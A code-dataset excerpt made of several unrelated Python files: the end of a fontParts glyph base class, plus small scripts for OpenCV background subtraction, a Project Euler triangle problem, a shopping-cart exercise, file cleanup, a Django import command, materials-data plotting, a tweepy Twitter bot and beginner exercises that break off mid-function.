reporterObject.append(compatibility)\n\n def isCompatible(self, other):\n \"\"\"\n Evaluate interpolation compatibility with **other**. ::\n\n >>> compatible, report = self.isCompatible(otherGlyph)\n >>> compatible\n False\n >>> compatible\n [Fatal] Glyph: \"test1\" + \"test2\"\n [Fatal] Glyph: \"test1\" contains 1 contours | \"test2\" contains 2 contours\n [Fatal] Contour: [0] + [0]\n [Fatal] Contour: [0] contains 4 segments | [0] contains 3 segments\n\n This will return a ``bool`` indicating if the glyph is\n compatible for interpolation with **other** and a\n :ref:`type-string` of compatibility notes.\n \"\"\"\n return super(BaseGlyph, self).isCompatible(other, BaseGlyph)\n\n def _isCompatible(self, other, reporter):\n \"\"\"\n This is the environment implementation of\n :meth:`BaseGlyph.isCompatible`.\n\n Subclasses may override this method.\n \"\"\"\n glyph1 = self\n glyph2 = other\n # contour count\n if len(self.contours) != len(glyph2.contours):\n reporter.fatal = True\n reporter.contourCountDifference = True\n # contour pairs\n for i in range(min(len(glyph1), len(glyph2))):\n contour1 = glyph1[i]\n contour2 = glyph2[i]\n self._checkPairs(contour1, contour2, reporter, reporter.contours)\n # component count\n if len(glyph1.components) != len(glyph2.components):\n reporter.fatal = True\n reporter.componentCountDifference = True\n # component check\n selfComponentBases = []\n otherComponentBases = []\n for source, bases in ((self, selfComponentBases), (other, otherComponentBases)):\n for i, component in enumerate(source.components):\n bases.append((component.baseGlyph, i))\n components1 = set(selfComponentBases)\n components2 = set(otherComponentBases)\n if len(components1.difference(components2)) != 0:\n reporter.warning = True\n reporter.componentsMissingFromGlyph2 = list(components1.difference(components2))\n if len(components2.difference(components1)) != 0:\n reporter.warning = True\n reporter.componentsMissingFromGlyph1 = list(components2.difference(components1))\n # guideline count\n if len(self.guidelines) != len(glyph2.guidelines):\n reporter.warning = True\n reporter.guidelineCountDifference = True\n # guideline check\n selfGuidelines = []\n otherGuidelines = []\n for source, names in ((self, selfGuidelines), (other, otherGuidelines)):\n for i, guideline in enumerate(source.guidelines):\n names.append((guideline.name, i))\n guidelines1 = set(selfGuidelines)\n guidelines2 = set(otherGuidelines)\n if len(guidelines1.difference(guidelines2)) != 0:\n reporter.warning = True\n reporter.guidelinesMissingFromGlyph2 = list(guidelines1.difference(guidelines2))\n if len(guidelines2.difference(guidelines1)) != 0:\n reporter.warning = True\n reporter.guidelinesMissingFromGlyph1 = list(guidelines2.difference(guidelines1))\n # anchor count\n if len(self.anchors) != len(glyph2.anchors):\n reporter.warning = True\n reporter.anchorCountDifference = True\n # anchor check\n selfAnchors = []\n otherAnchors = []\n for source, names in ((self, selfAnchors), (other, otherAnchors)):\n for i, anchor in enumerate(source.anchors):\n names.append((anchor.name, i))\n anchors1 = set(selfAnchors)\n anchors2 = set(otherAnchors)\n if len(anchors1.difference(anchors2)) != 0:\n reporter.warning = True\n reporter.anchorsMissingFromGlyph2 = list(anchors1.difference(anchors2))\n if len(anchors2.difference(anchors1)) != 0:\n reporter.warning = True\n reporter.anchorsMissingFromGlyph1 = list(anchors2.difference(anchors1))\n\n\n # ------------\n # Data Queries\n # ------------\n\n def pointInside(self, point):\n \"\"\"\n Determine if point is in the black or white of the glyph.\n\n >>> glyph.pointInside((40, 65))\n True\n\n point must be an (x, y) tuple.\n \"\"\"\n point = normalizers.normalizeCoordinateTuple(point)\n return self._pointInside(point)\n\n def _pointInside(self, point):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n from fontTools.pens.pointInsidePen import PointInsidePen\n pen = PointInsidePen(glyphSet=None, testPoint=point, evenOdd=False)\n self.draw(pen)\n return pen.getResult()\n\n bounds = dynamicProperty(\n \"bounds\",\n \"\"\"\n The bounds of the glyph: (xMin, yMin, xMax, yMax) or None.\n\n >>> glyph.bounds\n (10, 30, 765, 643)\n \"\"\"\n )\n\n def _get_base_bounds(self):\n value = self._get_bounds()\n if value is not None:\n value = normalizers.normalizeBoundingBox(value)\n return value\n\n def _get_bounds(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n from fontTools.pens.boundsPen import BoundsPen\n pen = BoundsPen(self.layer)\n self.draw(pen)\n return pen.bounds\n\n # -----------------\n # Layer Interaction\n # -----------------\n\n layers = dynamicProperty(\n \"layers\",\n \"\"\"\n Immutable list of the glyph's layers.\n\n >>> for glyphLayer in glyph.layers:\n ... len(glyphLayer)\n 3\n 2\n \"\"\"\n )\n\n def _get_layers(self, **kwargs):\n font = self.font\n if font is None:\n return tuple()\n glyphs = []\n for layer in font.layers:\n if self.name in layer:\n glyphs.append(layer[self.name])\n return tuple(glyphs)\n\n # get\n\n def getLayer(self, name, **kwargs):\n \"\"\"\n Get the glyph layer with name in this glyph.\n\n >>> glyphLayer = glyph.getLayer(\"foreground\")\n \"\"\"\n name = normalizers.normalizeLayerName(name)\n return self._getLayer(name, **kwargs)\n\n def _getLayer(self, name, **kwargs):\n \"\"\"\n name will be a string, but there may not be a\n layer with a name matching the string. If not,\n a FontPartsError must be raised.\n\n Subclasses may override this method.\n \"\"\"\n for glyph in self.layers:\n if glyph.layer.name == name:\n return glyph\n raise FontPartsError(\"No layer named '%s' in glyph '%s'.\" % (name, self.name))\n\n # new\n\n def newLayer(self, name, **kwargs):\n \"\"\"\n Make a new layer with name in this glyph.\n\n >>> glyphLayer = glyph.newLayer(\"background\")\n\n This is the equivalent of using the newGlyph\n method on a named layer. If the glyph already\n exists in the layer it will be cleared.\n Return the new glyph layer.\n \"\"\"\n layerName = name\n glyphName = self.name\n layerName = normalizers.normalizeLayerName(layerName)\n for glyph in self.layers:\n if glyph.layer.name == layerName:\n layer = glyph.layer\n layer.removeGlyph(glyphName)\n break\n glyph = self._newLayer(name=layerName, **kwargs)\n layer = self.font.getLayer(layerName)\n # layer._setLayerInGlyph(glyph)\n return glyph\n\n def _newLayer(self, name, **kwargs):\n \"\"\"\n name will be a string representing a valid layer\n name. The name will have been tested to make sure\n that no layer in the glyph already has the name.\n\n This must returned the new glyph.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # remove\n\n def removeLayer(self, layer, **kwargs):\n \"\"\"\n Remove the layer from the glyph (not the font).\n\n >>> glyph.removeLayer(\"background\")\n\n Layer can be a glyph layer or a layer name.\n \"\"\"\n if not isinstance(layer, basestring):\n layer = layer.layer.name\n layerName = layer\n glyphName = self.name\n layerName = normalizers.normalizeLayerName(layerName)\n found = False\n for glyph in self.layers:\n if glyph.layer.name == layerName:\n found = True\n break\n if found:\n self._removeLayer(layerName, **kwargs)\n\n def _removeLayer(self, name, **kwargs):\n \"\"\"\n name will be a valid layer name. It will\n represent an existing layer in the font.\n\n Subclasses may override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # -----\n # Image\n # -----\n\n image = dynamicProperty(\"base_image\", \"The image for the glyph.\")\n\n def _get_base_image(self):\n image = self._get_image()\n if image.glyph is None:\n image.glyph = self\n return image\n\n def _get_image(self):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def addImage(self, path=None, data=None, scale=None, position=None, color=None):\n \"\"\"\n Set the image in the glyph.\n\n >>> image = glyph.addImage(path=\"/path/to/my/image.png\", color=(1, 0, 0, 0.5))\n\n path is a path to an image file.\n data is the raw image data.\n scale (x, y) is the scale of the image (optional).\n position (x, y) is the position of the image (optional).\n color is the color of the image (optional).\n\n The image data format is not defined. That\n will be environment specific and is handled\n in the Image object.\n \"\"\"\n if path is not None and data is not None:\n raise FontPartsError(\"Only path or data may be defined, not both.\")\n if scale is None:\n scale = (1, 1)\n if position is None:\n position = (0, 0)\n scale = normalizers.normalizeTransformationScale(scale)\n position = normalizers.normalizeTransformationOffset(position)\n if color is not None:\n color = normalizers.normalizeColor(color)\n sx, sy = scale\n ox, oy = position\n transformation = (sx, 0, 0, sy, ox, oy)\n if path is not None:\n if not os.path.exists(path):\n raise FontPartsError(\"No image located at '%s'.\" % path)\n f = open(path, \"rb\")\n data = f.read()\n f.close()\n image = self._addImage(data=data, transformation=transformation, color=color)\n return self.image\n\n def _addImage(self, data, transformation=None, color=None):\n \"\"\"\n data will be raw, unnormalized image data.\n Each environment may have different possible\n formats, so this is unspecified.\n\n trasnformation will be a valid transformation matrix.\n\n color will be a color tuple or None.\n\n This must return an Image object. Assigning it\n to the glyph will be handled by the base class.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def clearImage(self, **kwargs):\n \"\"\"\n Remove the image from the glyph.\n\n >>> glyph.clearImage()\n \"\"\"\n if self.image is not None:\n self._clearImage(**kwargs)\n\n def _clearImage(self, **kwargs):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # ----\n # Mark color\n # ----\n\n markColor = dynamicProperty(\n \"base_markColor\",\n \"\"\"\n The mark color for the glyph.\n\n >>> glyph.markColor\n None\n >>> glyph.markColor = (1, 0, 0, 0.5)\n \"\"\"\n )\n\n def _get_base_markColor(self):\n value = self._get_markColor()\n if value is not None:\n value = normalizers.normalizeColor(value)\n value = Color(value)\n return value\n\n def _set_base_markColor(self, value):\n if value is not None:\n value = normalizers.normalizeColor(value)\n self._set_markColor(value)\n\n def _get_markColor(self):\n \"\"\"\n Return the mark color value as a color tuple or None.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_markColor(self, value):\n \"\"\"\n value will be a color tuple or None.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # ----\n # Note\n # ----\n\n note = dynamicProperty(\n \"base_note\",\n \"\"\"\n A note for the glyph as a string or None.\n\n >>> glyph.note\n None\n >>> glyph.note = \"P.B. said this looks 'awesome.'\"\n \"\"\"\n )\n\n def _get_base_note(self):\n value = self._get_note()\n if value is not None:\n value = normalizers.normalizeGlyphNote(value)\n return value\n\n def _set_base_note(self, value):\n if value is not None:\n value = normalizers.normalizeGlyphNote(value)\n self._set_note(value)\n\n def _get_note(self):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_note(self, value):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # ---\n # Lib\n # ---\n\n lib = dynamicProperty(\n \"lib\",\n \"\"\"\n The lib for the glyph.\n\n >>> glyph.lib[\"org.robofab.hello\"]\n \"world\"\n \"\"\"\n )\n\n def _get_lib(self):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # ---\n # API\n # ---\n\n def isEmpty(self):\n \"\"\"\n Return a bool indicating the glyph is empty.\n\n Empty Glyphs has no contours, no components,\n no anchors, no guidelines and an empty lib.\n\n \"\"\"\n if self.contours:\n return False\n if self.components:\n return False\n if self.anchors:\n return False\n if self.guidelines:\n return False\n if self.lib:\n return False\n return True\n\n def readGlyphFromString(self, glifData):\n \"\"\"\n Reads glif data into a glyph object.\n\n XML formatting of glif data must follow the\n Unified Font Object specification.\n \"\"\"\n self._readGlyphFromString(glifData)\n\n def _readGlyphFromString(self, glifData):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def writeGlyphToString(self, glyphFormatVersion=2):\n \"\"\"\n Writes glif data to an UFO XML string.\n\n XML formatting must follow the glyph formating specified by\n the Unified Font Object specification, defaulting to\n glyph format version 2.\n \"\"\"\n glyphFormatVersion = normalizers.normalizeGlyphFormatVersion(glyphFormatVersion)\n self._writeGlyphToString(glyphFormatVersion)\n\n def _writeGlyphToString(self, glyphFormatVersion):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # ---------\n # Selection\n # ---------\n\n # contours\n\n selectedContours = dynamicProperty(\n \"base_selectedContours\",\n \"\"\"\n A list of contours selected in the glyph.\n\n Getting selected contour objects:\n\n >>> for contour in glyph.selectedContours:\n ... contour.reverse()\n\n Setting selected contour objects:\n\n >>> glyph.selectedContours = someContours\n\n Setting also supports contour indexes:\n\n >>> glyph.selectedContours = [0, 2]\n \"\"\"\n )\n\n def _get_base_selectedContours(self):\n selected = tuple([normalizers.normalizeContour(contour) for contour in self._get_selectedContours()])\n return selected\n\n def _get_selectedContours(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._getSelectedSubObjects(self.contours)\n\n def _set_base_selectedContours(self, value):\n normalized = []\n for i in value:\n if isinstance(i, int):\n i = normalizers.normalizeContourIndex(i)\n else:\n i = normalizers.normalizeContour(i)\n normalized.append(i)\n self._set_selectedContours(normalized)\n\n def _set_selectedContours(self, value):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._setSelectedSubObjects(self.contours, value)\n\n # components\n\n selectedComponents = dynamicProperty(\n \"base_selectedComponents\",\n \"\"\"\n A list of components selected in the glyph.\n\n Getting selected component objects:\n\n >>> for component in glyph.selectedComponents:\n ... component.decompose()\n\n Setting selected component objects:\n\n >>> glyph.selectedComponents = someComponents\n\n Setting also supports component indexes:\n\n >>> glyph.selectedComponents = [0, 2]\n \"\"\"\n )\n\n def _get_base_selectedComponents(self):\n selected = tuple([normalizers.normalizeComponent(component) for component in self._get_selectedComponents()])\n return selected\n\n def _get_selectedComponents(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._getSelectedSubObjects(self.components)\n\n def _set_base_selectedComponents(self, value):\n normalized = []\n for i in value:\n if isinstance(i, int):\n i = normalizers.normalizeComponentIndex(i)\n else:\n i = normalizers.normalizeComponent(i)\n normalized.append(i)\n self._set_selectedComponents(normalized)\n\n def _set_selectedComponents(self, value):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._setSelectedSubObjects(self.components, value)\n\n # anchors\n\n selectedAnchors = dynamicProperty(\n \"base_selectedAnchors\",\n \"\"\"\n A list of anchors selected in the glyph.\n\n Getting selected anchor objects:\n\n >>> for anchor in glyph.selectedAnchors:\n ... anchor.move((10, 20))\n\n Setting selected anchor objects:\n\n >>> glyph.selectedAnchors = someAnchors\n\n Setting also supports anchor indexes:\n\n >>> glyph.selectedAnchors = [0, 2]\n \"\"\"\n )\n\n def _get_base_selectedAnchors(self):\n selected = tuple([normalizers.normalizeAnchor(anchor) for anchor in self._get_selectedAnchors()])\n return selected\n\n def _get_selectedAnchors(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._getSelectedSubObjects(self.anchors)\n\n def _set_base_selectedAnchors(self, value):\n normalized = []\n for i in value:\n if isinstance(i, int):\n i = normalizers.normalizeAnchorIndex(i)\n else:\n i = normalizers.normalizeAnchor(i)\n normalized.append(i)\n self._set_selectedAnchors(normalized)\n\n def _set_selectedAnchors(self, value):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._setSelectedSubObjects(self.anchors, value)\n\n # guidelines\n\n selectedGuidelines = dynamicProperty(\n \"base_selectedGuidelines\",\n \"\"\"\n A list of guidelines selected in the glyph.\n\n Getting selected guideline objects:\n\n >>> for guideline in glyph.selectedGuidelines:\n ... guideline.color = (1, 0, 0, 0.5)\n\n Setting selected guideline objects:\n\n >>> glyph.selectedGuidelines = someGuidelines\n\n Setting also supports guideline indexes:\n\n >>> glyph.selectedGuidelines = [0, 2]\n \"\"\"\n )\n\n def _get_base_selectedGuidelines(self):\n selected = tuple([normalizers.normalizeGuideline(guideline) for guideline in self._get_selectedGuidelines()])\n return selected\n\n def _get_selectedGuidelines(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._getSelectedSubObjects(self.guidelines)\n\n def _set_base_selectedGuidelines(self, value):\n normalized = []\n for i in value:\n if isinstance(i, int):\n i = normalizers.normalizeGuidelineIndex(i)\n else:\n i = normalizers.normalizeGuideline(i)\n normalized.append(i)\n self._set_selectedGuidelines(normalized)\n\n def _set_selectedGuidelines(self, value):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return self._setSelectedSubObjects(self.guidelines, value)\n","sub_path":"Lib/fontParts/base/glyph.py","file_name":"glyph.py","file_ext":"py","file_size_in_byte":67398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"638358664","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 30 00:08:43 2018\r\n\r\n@author: saswatdas\r\n\"\"\"#http://192.168.43.1:8080/video\r\n\r\nimport numpy as np\r\nimport cv2\r\n\r\ncap = cv2.VideoCapture(0)\r\nfgbg = cv2.createBackgroundSubtractorMOG2()\r\n\r\nwhile(1):\r\n ret, frame = cap.read()\r\n\r\n fgmask = fgbg.apply(frame)\r\n \r\n cv2.imshow('fgmask',frame)\r\n cv2.imshow('frame',fgmask)\r\n\r\n \r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n \r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","sub_path":"syn.py","file_name":"syn.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"17349596","text":"from eulerutils import *\n\ndef coordinate_vector(basis, vector): # only for 2 dimensions\n # Let basis = {b1, b2} and vector = v\n # Find x, y with xb1 + yb2 = v\n # This equal to\n # (a b)(x) = (p) (This is matrix-vector multiplication)\n # (c d)(y) (q)\n # when b1 = (a, c), b2 = (b, d) and v = (p, q)\n # Because it is a 2x2-matrix, the inverse is easy to calculate\n\n a, c = basis[0]\n b, d = basis[1]\n p, q = vector\n\n x = Fraction(1, a*d-b*c)*(d*p - b*q)\n y = Fraction(1, a*d-b*c)*(-c*p + a*q)\n \n return (x, y)\n\ndef linearly_dependent(vector1, vector2):\n a, c = vector1\n b, d = vector2\n return a*d-b*c == 0\n\n# Find the coordinate vector of one the points when treating the other two\n# as the base. The triangle contains the origin if and only if both coordinates\n# of this vector are negative\n\ndef origin_inside(tri):\n if linearly_dependent(tri[0], tri[1]):\n # tri[0] and tri[2] are basis vectors\n coord = coordinate_vector([tri[0], tri[2]], tri[1])\n else:\n # tri[0] and tri[1] are basis vectors\n coord = coordinate_vector([tri[0], tri[1]], tri[2])\n return coord[0] <= 0 and coord[1] <= 0\n \n\nwith open(\"P0102_triangles.txt\") as f:\n triangles = [[int(n) for n in line.split(\",\")]\n for line in f if line.strip(\" \\n\")]\n\ntriangles = [((e[0], e[1]), (e[2], e[3]), (e[4], e[5]))\n for e in triangles]\n\nprint(sum(map(origin_inside, triangles)))\n","sub_path":"P0102.py","file_name":"P0102.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"113089821","text":"\"\"\"\nProgram: ShoppingCart.py\nAuthor: Ezeoke Onyekachi Samuel\nDescription: Example to illustrate object oriented programming in Python\n\"\"\"\n\n\nclass ShoppingCart:\n def __init__(self):\n self.total = 0\n self.items = {}\n\n def add_item(self, item_name, quantity, price):\n\n self.items[item_name] = self.items.get(item_name, 0) + quantity\n self.total += (price*quantity)\n\n def remove_item(self,item_name, quantity, price):\n if not item_name in self.items:\n return 'item not in cart'\n elif quantity > self.items[item_name]:\n self.total -= (price * self.items[item_name])\n del(self.items[item_name])\n\n elif quantity < self.items[item_name]:\n self.items[item_name] = self.items.get(item_name, 0) - quantity\n self.total -= (price*quantity)\n else:\n del (self.items[item_name])\n self.total -= (price * quantity)\n\n def checkout(self, cashpaid):\n if cashpaid < self.total:\n return 'Cash paid not enough'\n else:\n balance = cashpaid - self.total\n return balance\n\n\nclass Shop(ShoppingCart):\n def __init__(self):\n self.quantity = 100\n\n def remove_item(self):\n self.quantity -= 1\n\n\n\"\"\"Create a class called ShoppingCart.\n\nCreate a constructor that takes no arguments and sets the total attribute to zero,\nand initializes an empty dict attribute named items.\n\nCreate a method add_item that requires item_name, quantity and price arguments.\nThis method should add the cost of the added items to the current value of total.\nIt should also add an entry to the items dict such that the key is the item_name\nand the value is the quantity of the item.\n\nCreate a method remove_item that requires similar arguments as add_item.\nIt should remove items that have been added to the shopping cart and are not required.\nThis method should deduct the cost of the removed items from the current total\nand also update the items dict accordingly.\n\nIf the quantity of an item to be removed exceeds the current quantity of that item in the cart,\nassume that all entries of that item are to be removed.\n\nCreate a method checkout that takes in cash_paid and returns the value of balance from the payment.\nIf cash_paid is not enough to cover the total, return \"Cash paid not enough\".\n\nCreate a class called Shop that has a constructor which takes no arguments and\ninitializes an attribute called quantity at 100.\n\nMake sure Shop inherits from ShoppingCart.\n\nIn the Shop class, override the remove_item method, such\nthat calling Shop's remove_item with no arguments\ndecrements quantity by one.\n\nTest Result\"\"\"\n","sub_path":"ShoppingCart.py","file_name":"ShoppingCart.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"378813433","text":"import os,sys\ndef listdir(dir):\n fielnum =0\n list = os.listdir(dir)#列出目录下的所有文件和目录\n for line in list:\n filepath = os.path.join(dir,line)\n if os.path.isdir(filepath):#如果filepath是目录,则再列出该目录下的所有文件\n for li in os.listdir(filepath):\n fielnum = fielnum +1\n elif os.path:#如果filepath是文件,直接列出文件名\n filename = str(line.replace('.html','').replace('index_',''))\n if ('index' in line):\n id = int(filename)\n print(line)\n # sys.exit(0)\n if id > 40:\n print(id)\n os.remove(\"/home/eboss/Desktop/beijing/cfcz/\"+line)\n\nlistdir('/home/eboss/Desktop/beijing/cfcz')\n","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599512844","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.core.management.base import BaseCommand\nfrom backports import csv\n\nimport io\n\nfrom aravim.apps.bible.models import Book, Chapter\n\n\nclass Command(BaseCommand):\n help = \"Description\"\n\n def add_arguments(self, parser):\n parser.add_argument(\"-f\", \"--filename\", help=\"data csv file\")\n\n\n def handle(self, *args, **options):\n reader = csv.reader(io.open(options[\"filename\"], encoding=\"utf-8\"))\n \n header = reader.next()\n for row in reader:\n data = dict(zip(header, row))\n book, created = Book.objects.get_or_create(title=data['title'],\n category=data['category'],\n author=data['author'])\n Chapter.objects.create(book=book, num=data['chapter'])\n","sub_path":"aravim/apps/bible/management/commands/bible_import.py","file_name":"bible_import.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"271335209","text":"import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pylab as pylab\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom roughness import gather_level as ga\nimport configPlot\nparams = configPlot.params\npylab.rcParams.update(params)\n\nindex=np.loadtxt(\"input/independent_index.csv\",skiprows=0,delimiter=',')\ndata = np.loadtxt(\"input/POS\")\nK=np.loadtxt(\"input/result.txt\")\nnatom=np.loadtxt(\"input/number_pposcar.txt\")\n\nclass K_label:\n\tdef __init__(self, K, label,index,gaAse_level,prinatom):\n\t\tself.K=K\n\t\tself.label=label\n\t\tself.index=index\n\t\tself.gather_level=gaAse_level\n\t\t# self.sperate_level=gaAse_level[1]\n\t\tself.prinatom=prinatom\n\ndef SLRML(target):\n\tdatasi=[]\n\tfor i in range(len(target)):\n\t\tif target[i]==1:\n\t\t\tdatasi.append(data[i][0])\n\treturn len(set(datasi))\n\ndef generateKSroc():\n K_labels=[]\n for jobid in range(len(index)):\n K_labels.append(K_label(K[jobid][2],1,jobid+1,ga(jobid),natom[jobid][1]))\n K_labels=sorted(K_labels, key=lambda x: x.K)\n for i in range(len(K_labels)):\n if K_labels[i].gather_level == 0:\n print(K_labels[i].index)\n k_sroc = [ [K_labels[x].K, K_labels[x].gather_level, K_labels[x].prinatom ] for x in range(len(K_labels))]\n np.savetxt('k_sroc', k_sroc)\n return k_sroc\n\ndef plot(k_sroc):\n ax1 = plt.subplot(111)\n cm = plt.cm.get_cmap('Reds_r')\n sc = ax1.scatter([x[0] for x in k_sroc], [x[1] for x in k_sroc], c=[x[2] for x in k_sroc],vmin=20, vmax=2, s=100, cmap=cm )\n plt.colorbar(sc)\n\n ax1.set_xlabel('Thermal conductivity (W/m-K)')\n ax1.set_ylabel('SROC')\n # ax1.set_ylabel('Number of atoms in primitive cell')\n ax1.set_xlim(20, 125)\n ax1.set_yticks([-0.5, 0, 0.5])\n plt.savefig('KSrocCurve.png', bbox_inches='tight')\n\nif __name__ == '__main__':\n try:\n k_sroc = np.loadtxt('k_sroc')\n except:\n k_sroc = generateKSroc()\n plot(k_sroc)","sub_path":"k-clusterLevel-Corr.py","file_name":"k-clusterLevel-Corr.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314592926","text":"import threading\n\nimport tensorflow_hub as hub\nimport sounddevice as sd\nimport numpy as np\n\nsiren_classesNum = [316, 317, 318, 319, 390, 391]\n\n\nclass SirenDetector(threading.Thread):\n\n def __init__(self):\n super().__init__()\n self.model = hub.load('https://tfhub.dev/google/yamnet/1')\n self.fs = 16000\n self.duration = 2 # seconds\n self.isRun = True\n self.isSirenDetected = False\n\n def run(self):\n self.isRun = True\n while self.isRun:\n result = sd.rec(self.duration * self.fs, samplerate=self.fs, channels=1, dtype=np.float32).reshape(-1)\n sd.wait()\n scores, embeddings, log_mel_spectrogram = self.model(result)\n prediction = np.mean(scores, axis=0)\n top5 = np.argsort(prediction)[::-1][:5]\n\n siren_result = False\n for wavNum in top5:\n if wavNum in siren_classesNum:\n siren_result = True\n\n self.isSirenDetected = siren_result\n\n def isSiren(self):\n return self.isSirenDetected\n\n def stop(self):\n self.isRun = False\n","sub_path":"SirenDetector.py","file_name":"SirenDetector.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486693500","text":"import tweepy\r\nimport time\r\n\r\n\r\n\r\ndef getAPI(api_keys, access_tokens):\r\n try:\r\n auth = tweepy.OAuthHandler(api_keys[0], api_keys[1])\r\n auth.set_access_token(access_tokens[0], access_tokens[1])\r\n except IndexError as err:\r\n print('api_keys and access_tokens each require two elements')\r\n raise err\r\n api = tweepy.API(auth, wait_on_rate_limit=True)\r\n return api\r\n\r\n\r\n\r\ndef userQueryTweetMax(need_query=False):\r\n max_tweets, query = None, None\r\n while True:\r\n try:\r\n max_tweets = int(input('Max tweets to find: '))\r\n if max_tweets < 1:\r\n print('Need a positive integer')\r\n continue\r\n if need_query:\r\n query = input('Provide search query: ')\r\n break\r\n except ValueError:\r\n print('Need a positive integer')\r\n if query:\r\n return max_tweets, query\r\n else:\r\n return max_tweets\r\n\r\n\r\n\r\ndef userReqs():\r\n reqs = {\r\n 'follows': -1,\r\n 'statuses': -1\r\n }\r\n for req in reqs.keys():\r\n while True:\r\n try:\r\n reqs[req] = int(\r\n input(f'Requisite {req} for follow back (0 for none): '))\r\n break\r\n except ValueError:\r\n print('Need an integer')\r\n return reqs\r\n\r\n\r\n\r\ndef checkReqs(follower, reqs):\r\n return follower.followers_count >= reqs['follows'] and follower.statuses_count >= reqs['statuses']\r\n\r\n\r\n\r\ndef followBack(api):\r\n reqs = userReqs()\r\n for follower in tweepy.Cursor(api.followers).items():\r\n if checkReqs(follower, reqs) and not follower.following:\r\n follower.follow()\r\n print(f'Followed {follower.name}')\r\n \r\n\r\ndef likeRetweet(api, user_lang=\"en\"):\r\n max_tweets, query = userQueryTweetMax(True)\r\n for tweet in tweepy.Cursor(api.search, query, lang=user_lang).items(max_tweets):\r\n try:\r\n if not tweet.favorited:\r\n tweet.favorite()\r\n if not tweet.retweeted:\r\n tweet.retweet()\r\n print(\r\n f'Liked and retweeted \"{tweet.text}\" from {tweet.user.screen_name}')\r\n except tweepy.TweepError as err:\r\n print(\r\n f'Tweet \"{tweet.text}\" not liked and retweeted: {err.reason}')\r\n except StopIteration:\r\n break\r\n \r\n\r\ndef getFeed(api):\r\n max_tweets = userQueryTweetMax(False)\r\n user_feed = api.home_timeline(tweet_mode='extended', count=max_tweets)\r\n for tweet in user_feed:\r\n print(f'User {tweet.user.screen_name} tweeted:')\r\n print(f'\"{tweet.full_text}\"\\n')\r\n","sub_path":"Twitterbot.py","file_name":"Twitterbot.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"600890181","text":"from __future__ import print_function\n'''\nR-1.1 Write a short Python function, is_multiple(n, m), that takes two integer values and\nreturns True if n is a multiple of m, that is, n = mi for some integer i, and False otherwise\n'''\ndef is_multiple(n, m):\n try:\n return n % m == 0\n except ZeroDivisionError:\n return True if n == 0 else False\n\n'''\nR-1.2 Write a short Python function, is_even(k), that takes an integer value and\nreturns True if k is even, and False otherwise.\nHowever, your function, your function cannot use the multiplication, modulo, or division operators.\n'''\ndef is_even(k):\n return bin(k).endswith('0')\n\n'''\nR-1.3 Write a short Python function, minmax(data), that takes a sequence of one or more numbers, and\nreturns the smallest and largest numbers, in the form of a tuple of length two.\nDo not use the built-in functions min or max in implementing your solution.\n'''\ndef minmax(data):\n result = sorted(data)\n return result[0], result[-1]\n\n'''\nR-1.4 Write a short Python function that takes a positive integer n and\nreturns the sum of the squares of all the positive integers smaller than n.\n'''\ndef sumofsquares(n):\n result = 0\n i = 1\n while i < n:\n result += i * i\n i += 1\n return result\n\n'''\nR-1.5 Give a single command that computes the sum from Exercise R-1.4,\nrelying on Python's comprehension syntax and the built-in sum function.\n'''\ndef sumofsquares2(n):\n return sum(k * k for k in range(n))\n\n'''\nR-1.6 Write a short Python function that takes a positive integer n and\nreturns the sum of the squares of all the odd positive integers smaller than n.\n'''\ndef sumofoddsquares(n):\n result = 